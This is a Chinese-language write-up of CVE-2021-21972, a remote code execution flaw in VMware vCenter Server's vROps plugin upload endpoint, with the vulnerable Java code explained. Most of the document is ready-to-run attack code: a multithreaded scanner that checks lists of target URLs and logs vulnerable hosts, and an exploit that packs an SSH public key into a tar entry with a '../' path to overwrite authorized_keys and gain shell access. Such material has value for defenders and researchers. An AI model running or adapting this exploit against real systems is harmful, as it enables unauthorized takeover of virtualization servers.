漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client（HTML5）在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，写入webshell，控制服务器。

影响范围

VMware vCenter Server: 7.0/6.7/6.5

漏洞分析

vCenter Server中的vrops插件存在一些未鉴定权限的敏感接口，其中uploadova接口具有文件上传功能。

@RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码中，将tar文件解压后，上传到/tmp/unicorn_ova_dir目录

while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

上述代码直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件，这里可以使用../绕过目录限制。

若目标为Linux环境，可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件，上传后即可使用SSH连接服务器。

POC & EXP

POC来自github：
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

#-*- coding:utf-8 -*-
banner = """
        888888ba             dP
        88    `8b            88
       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 
        88   `8b. 88'  `88   88   Y8ooooo. 88    88 
        88    .88 88.  .88   88         88 88.  .88 
        88888888P `88888P8   dP   `88888P' `88888P' 
   ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
                @time:2021/02/24 CVE-2021-21972.py
                C0de by NebulabdSec - @batsu
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua

def CVE_2021_21972(url):
    proxies = {"scoks5": "http://127.0.0.1:1081"}
    headers = {
        'User-Agent': get_ua(),
        "Content-Type": "application/x-www-form-urlencoded"
    }
    targetUrl = url + TARGET_URI
    try:
        res = requests.get(targetUrl,
                            headers=headers,
                            timeout=15,
                            verify=False,
                            proxies=proxies)
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        # print(len(res.text))
        if res.status_code == 405:
            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
            # print("[+] Command success result: " + res.text + "\n")
            with open("存在漏洞地址.txt", 'a') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            # func_params = [i] + [cmd]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    if url != None and file_path ==None:
        CVE_2021_21972(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程

if __name__ == "__main__":
    main()

EXP来自CSDN：
https://blog.csdn.net/weixin_43650289/article/details/114055417

import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e